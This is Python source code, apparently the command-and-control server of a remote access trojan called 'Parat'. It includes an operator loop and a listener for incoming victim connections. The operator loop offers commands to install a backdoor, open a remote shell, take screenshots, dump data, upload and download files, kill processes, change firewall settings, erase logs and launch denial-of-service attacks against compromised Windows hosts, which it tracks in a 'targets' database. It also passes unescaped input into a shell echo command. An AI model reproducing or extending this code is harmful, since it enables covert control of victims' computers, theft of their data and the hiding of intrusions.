def ctrl_loop(self, client_id, Connection): def get_user_input(): ctrl_command = input(self.in_remote_prompt) write_history(ctrl_command.strip()) return ctrl_command.strip() def print_help(): LoopsHelp.in_controller(self) pprint( colorize(self.client[client_id][1] + '\n\n', colored=self.colors, color="LVIOLET")) def check_signal(): if signal.getsignal(signal.SIGINT) is not self.origin_sigint: signal.signal(signal.SIGINT, self.origin_sigint) def set_values(): self.direcs = ParatDirections(Connection, self.colors) self.process = ParatProcess(Connection, self.colors) self.shares = ParatSharing(Connection, self.colors) def set_ctrl_completer(): completer = auto_complete(self.target_comands) readline.set_completer(completer.complete) readline.parse_and_bind('tab: complete') def get_ready_ctrl(): current_dir = self.client[client_id][1] os.chdir(current_dir) plog.info("control loop: " + self.cdisplay[client_id]) plog.info("directory: " + current_dir) def refresh_prompt(): using_client = " " + colorize( client_id, colored=self.colors, color="LRED") self.in_remote_prompt = "\r[" + self.zom_loOp + using_client + "]# " prompt_q.put(self.in_remote_prompt) def write_history(ctrl_command): if self.last_command != ctrl_command: linux("echo '{}' >> '{}'".format(ctrl_command, self.history_path)) def get_back_to_main(): os.chdir(self.ROOT) prompt_q.put(self.in_main_prompt) plog.warning("background: main loop") self.main_background() def shift_to_other_seassion(ctrl_command): try: new_target = int(ctrl_command.split()[1]) except Exception as e: new_target = None if new_target is not None: try: new_target = int(new_target) connection = self.client[new_target][0] ClientShell.ctrl_loop(self, new_target, connection) except KeyError: show_trace(self.verbose) pprint( colorize("Client '%s' not found.\n" % new_target, colored=self.colors, status="ERR"), 1) else: pprint( colorize("usage: switch ID\n", colored=self.colors, status="INF"), 1) tolow = lambda b: b.lower() self.handler = "#DATA_HANDLER" lport = int(self.client[client_id][5]) rport = int(self.client[client_id][4]) rip = str(self.client[client_id][3]) cliuser = str(self.client[client_id][2]) get_ready_ctrl() set_ctrl_completer() while True: try: # for define process_bar.Stop at exceptions process_bar = ParatProcessBar("excepting") process_bar.Stop = True # prepare controlling module sys.stdout.flush() # check_update() # check for ctrl+c signal enabled/disabled check_signal() # preapare some values(instance) for target set_values() # update prompt buffer refresh_prompt() # keep last commands ctrl_command = get_user_input() # check ping result if cut_q.get() == "break": cut_q.task_done() break if len(ctrl_command.strip()) == 0: continue # press enter elif tolow(ctrl_command) == "background": get_back_to_main() elif tolow(ctrl_command).startswith('switch'): shift_to_other_seassion(ctrl_command) elif tolow(ctrl_command) == "clear": clear_screen() elif tolow(ctrl_command) == "help": print_help() elif tolow(ctrl_command) == "disconnect": disconnect_it(client_id, self.client, self.cdisplay, self.ROOT, plog, self.colors) break elif tolow(ctrl_command) == "remove": # disable signal and communicate for remove signal.signal(signal.SIGINT, signal.SIG_IGN) Connection.send(Encode(tolow(ctrl_command))) Connection.settimeout(5) recived_data = Decode(Connection.recv(4096)) Connection.settimeout(None) recived_data = recived_data.lower() + '\n' if 'server will remove next reboot' in recived_data: disconnect_it(client_id, self.client, self.cdisplay, self.ROOT, plog, self.colors) break elif 'permission denied' in recived_data or "error" in recived_data: pprint( colorize(recived_data, colored=self.colors, status="ERR"), 1) elif tolow(ctrl_command).startswith("sysinfo"): signal.signal(signal.SIGINT, signal.SIG_IGN) uflag = False user_profile = "USER.inf" try: update = ctrl_command.split()[1] uflag = True if update == "-u" else False except: uflag = False Connection.send(Encode(tolow("sysinfo"))) # check for first connection if uflag or not os.path.isfile(user_profile): Connection.send(Encode("#GET_INF")) text = colorize("Please wait", colored=self.colors, status="INF") process_bar = ParatProcessBar(text) process_bar.start_process() system_info = Decode(Connection.recv(4096)) process_bar.Stop = True sleep(0.2) if "ERROR" not in system_info: # recive client data while True: junk = Decode(Connection.recv(4096)) if junk == '#END_INF': system_info = system_info.rstrip() + '\n' break sleep(0.01) system_info += junk.rstrip() + '\n' else: system_info = system_info + '\n' # write data to disk with open(user_profile, "w") as info_file: info_file.write(system_info) info_file.close() process_bar.Stop = True sleep(0.2) # read & privew information with open(user_profile, 'r') as info: content = info.read() pprint('\n' + content + '\n') if self.colors else pprint( gray('\n' + content + '\n')) self.pdb.execute( "UPDATE targets SET Information=? WHERE id=?", (content, client_id)) self.pdb.commit() else: Connection.send(Encode("#NO_INF")) with open(user_profile, 'r') as info: content = info.read() pprint('\n' + content + '\n') if self.colors else pprint( gray('\n' + content + '\n')) self.pdb.execute( "UPDATE targets SET Information=? WHERE id=?", (content, client_id)) self.pdb.commit() info.close() elif tolow(ctrl_command) == 'python': head_banner = "{} use 'ctrl+d' to back parat loop\n".format( colorize("NOTE:", "LYELLOW", self.colors)) self.get_python(head_banner) elif tolow(ctrl_command) == "continue": signal.signal(signal.SIGINT, signal.SIG_IGN) tumultuous(Connection, self.handler, self.colors, client_id) elif tolow(ctrl_command).startswith("explorer"): signal.signal(signal.SIGINT, signal.SIG_IGN) ie = ParatExplorer(Connection, toarg(ctrl_command), self.colors) ie.start() elif tolow(ctrl_command).startswith("tree"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.direcs.get_tree() elif tolow(ctrl_command).startswith("cd"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.direcs.change_directory(toarg(ctrl_command)) elif tolow(ctrl_command) == "pwd": signal.signal(signal.SIGINT, signal.SIG_IGN) self.direcs.pwd() elif tolow(ctrl_command).startswith("touch"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.direcs.touch_file(toarg(ctrl_command)) elif tolow(ctrl_command).startswith("rmv"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.direcs.remove(toarg(ctrl_command)) elif tolow(ctrl_command).startswith("mkdir"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.direcs.make_directory(toarg(ctrl_command)) elif tolow(ctrl_command).startswith('wget'): signal.signal(signal.SIGINT, signal.SIG_IGN) ParatWget(Connection, toarg(ctrl_command), self.colors).start() elif tolow(ctrl_command).startswith("dos"): signal.signal(signal.SIGINT, signal.SIG_IGN) dos_attack = ParatDDOS( Connection, toarg(tolow(ctrl_command)), self.colors, ) dos_attack.prepare_basics() dos_attack.start() elif tolow(ctrl_command).startswith("download"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.shares.download(toarg(ctrl_command)) elif tolow(ctrl_command).startswith("upload"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.shares.upload(toarg(ctrl_command)) elif tolow(ctrl_command).startswith("scan"): signal.signal(signal.SIGINT, signal.SIG_IGN) scan = ParatScanner(Connection, client_id, self.pdb, toarg(ctrl_command), self.colors) scan.prepare_basics() scan.start() elif tolow(ctrl_command) == "screenshot": signal.signal(signal.SIGINT, signal.SIG_IGN) scr_shot = ParatScreenshot(Connection, self.colors) scr_shot.prepare_basics() scr_shot.start() elif tolow(ctrl_command) == "rmlog": signal.signal(signal.SIGINT, signal.SIG_IGN) remove_log = ParatLogC(Connection, self.colors) remove_log.start() elif tolow(ctrl_command).startswith("uninstall"): signal.signal(signal.SIGINT, signal.SIG_IGN) ParatUninstall(Connection, toarg(ctrl_command), self.colors).start() elif tolow(ctrl_command) == "getps": signal.signal(signal.SIGINT, signal.SIG_IGN) self.process.get_all() elif tolow(ctrl_command).startswith("kill"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.process.kill_process(ctrl_command.split()) elif tolow(ctrl_command).startswith("runfile"): signal.signal(signal.SIGINT, signal.SIG_IGN) execf = ParatRunFile(Connection, toarg(ctrl_command), self.colors) execf.start() elif tolow(ctrl_command).startswith("firewall"): signal.signal(signal.SIGINT, signal.SIG_IGN) pwall = ParatFirewall(Connection, toarg(tolow(ctrl_command)), self.colors) pwall.prepare_basics() pwall.start() elif tolow(ctrl_command).startswith("desktop"): signal.signal(signal.SIGINT, signal.SIG_IGN) rdp = ParatRDP(Connection, client_id, self.client[client_id][2], self.remote_ip, toarg(tolow(ctrl_command)), self.colors) rdp.prepare_basics() rdp.start() elif tolow(ctrl_command).startswith("backdoor"): signal.signal(signal.SIGINT, signal.SIG_IGN) backdoor = ParatBackdoor(Connection, client_id, self.pdb, toarg(tolow(ctrl_command)), self.colors) backdoor.prepare_basics() backdoor.start() elif tolow(ctrl_command) == "shell": signal.signal(signal.SIGINT, signal.SIG_IGN) ParatWinShell(Connection, tolow(ctrl_command), self.colors).start() elif tolow(ctrl_command).startswith("pzip"): signal.signal(signal.SIGINT, signal.SIG_IGN) pzip = ParatZipUtils(Connection, toarg(ctrl_command), self.colors) pzip.prepare_basics() pzip.start() elif tolow(ctrl_command).startswith("msgbox"): signal.signal(signal.SIGINT, signal.SIG_IGN) message_box = ParatMsgBox(Connection, toarg(ctrl_command), self.colors) message_box.prepare_basics() message_box.start() elif tolow(ctrl_command).startswith("dump"): signal.signal(signal.SIGINT, signal.SIG_IGN) dump_obj = ParatDumper(Connection, client_id, self.pdb, toarg(ctrl_command), self.colors) dump_obj.prepare_basics() dump_obj.start() elif tolow(ctrl_command) == "shutdown" or tolow( ctrl_command) == "reboot": prompt_message = colorize( "You may lost this session (if not backdoor), " + \ "Are you sure to {} target(y/N)?: ".format(ctrl_command), colored=self.colors, status="WAR" ) while True: x = self.wash(input(prompt_message)) if x == 'y' or x == 'yes': # disable signal and communicate for remove signal.signal(signal.SIGINT, signal.SIG_IGN) ParatPower(Connection, ctrl_command, self.colors).start() Connection.close() # get-back, make-prompt, log-client, clean-cache os.chdir(self.ROOT) prompt_q.put(self.in_main_prompt) plog.warning(ctrl_command + ": " + self.cdisplay[client_id]) del self.client[client_id] del self.cdisplay[client_id] echo_des_message(client_id, lport, cliuser, rip, rport, self.colors) # log information plog.info(ctrl_command + " -> main loop") self.main_background() if x == 'n' or x == 'no' or x == '': break else: pass else: signal.signal(signal.SIGINT, signal.SIG_IGN) Connection.send(Encode(tolow(ctrl_command))) response = str(Decode(Connection.recv(4096))) if self.colors: pprint('\n' + response + '\n\n') else: pprint(gray('\n' + response)) self.last_command = ctrl_command except (ValueError, socket.error) as e: if not process_bar.Stop: process_bar.Stop = True show_trace(self.verbose) # 32 -> Broken pipe <IOError> # 104 -> Connection reset by peer if e.errno == 104 or e.errno == 32: pprint( colorize("Client diconnected.\n", colored=self.colors, status="ERR"), 1) # delete values and log informations del self.cdisplay[client_id] del self.client[client_id] plog.error(str(e)) plog.info("socket error -> [main loop]") break else: pprint( colorize(str(e) + '\n\n', colored=self.colors, status="ERR"), 1) # log any exceptino accurded plog.error(str(e)) sleep(0.1) except KeyboardInterrupt: pprint('\n') except EOFError as e: if not process_bar.Stop: process_bar.Stop = True show_trace(self.verbose) plog.error(str(e)) sleep(0.1) except Exception as error: if not process_bar.Stop: process_bar.Stop = True # except and log unwanted problems show_trace(self.verbose) pprint( colorize(str(error) + '\n', colored=self.colors, status="ERR"), 1) plog.error(str(error)) sleep(0.1)
def do_listen(self, socket_name, port): target_tbl = "targets" def echo_permission_denied(): pprint( u"\u001b[1A" + colorize("Port %s in use.\n" % colorize( listen_port, colored=self.colors, color="YELLOW"), colored=self.colors, status="ERR"), 1) def echo_new_seassion(listen_port, client_user, remote_port): message = colorize( "\r[+]Session {} Opened on {} ({}) <- [{}:{}]".format( self.cli_counter, listen_port, client_user, self.remote_ip, remote_port), colored=self.colors, color="LGREEN") pprint(message + '\n') return message def insert_to_database(client_user, user_folder): query = '''\ INSERT OR IGNORE INTO "{}" ( ID, IP, cPort, OS, Host, User, uPath, Backdoor, Information, oPorts, Services, Programs ) VALUES ("{}", "{}", "{}", "{}", "{}", "{}", "{}", "{}", "{}", "{}", "{}", "{}" )'''.format(target_tbl, int(self.cli_counter), self.remote_ip, int(port), "Windows", client_user.split("@")[1], client_user.split("@")[0], user_folder, 0, None, None, None, None) self.pdb.execute(query) self.pdb.commit() while not self.stop_all_threads: try: # prepare socket listen_host, listen_port = '', int(port) sock = Listen_Class.create_tcp_socket(self, socket_name, port) except Exception as e: if "Too many open files" in e or "Address already in use" in e or "list index out of range" in e: pass elif "Permission denied" in e: echo_permission_denied() break else: # print other exceptions show_trace(self.verbose) pprint( colorize("ListenDaemonError: %s\n" % e, colored=self.colors, status="ERR"), 1) plog.error(str(e)) sleep(0.1) else: try: # connect and decode recived information connection, address = sock.accept() client_user = Decode(connection.recv(4096)) regex = re.match(r".+@.+", client_user) if regex: sleep(0.1) # update envairment variables self.remote_ip, remote_port = address self.cli_counter += 1 # create user path if not exist user_folder = os.path.join( self.ROOT, 'users', '_'.join([ str(self.cli_counter), client_user, rand_str(6) ])) if not os.path.isdir(user_folder): os.makedirs(user_folder) self.client[self.cli_counter] = [ connection, user_folder, client_user, self.remote_ip, remote_port, port ] insert_to_database(client_user, user_folder) # recive ping from client ping_thread = threading.Thread(target=self._ping, args=(connection, self.cli_counter)) # send ping for client ping_thread.daemon = True ping_thread.start() client_list_show = '{:<8}{:<62}{:<8}{:>4}\n'.format( self.cli_counter, self.remote_ip + "({})".format(client_user), str(listen_port), str(remote_port)) # manage connections self.cdisplay[self.cli_counter] = client_list_show self.client[self.cli_counter][0] = connection message = echo_new_seassion(listen_port, client_user, remote_port) # log new connection self.cdisplay[self.cli_counter] = client_list_show plog.info(gray(message.replace("\r[+]", ""))) plog.info( "database updated [TABLE:%s; ID:%s]" % \ ( target_tbl, self.cli_counter )) if not prompt_q.empty(): last_Q_prompt = prompt_q.get() prompt_q.task_done() else: last_Q_prompt = self.in_main_prompt # update prompt buffer (set newest prompt_command) echo_prompt = last_Q_prompt pprint(echo_prompt) else: pass except socket.error: sleep(0.1) # continue listenning self.stop_all_threads = False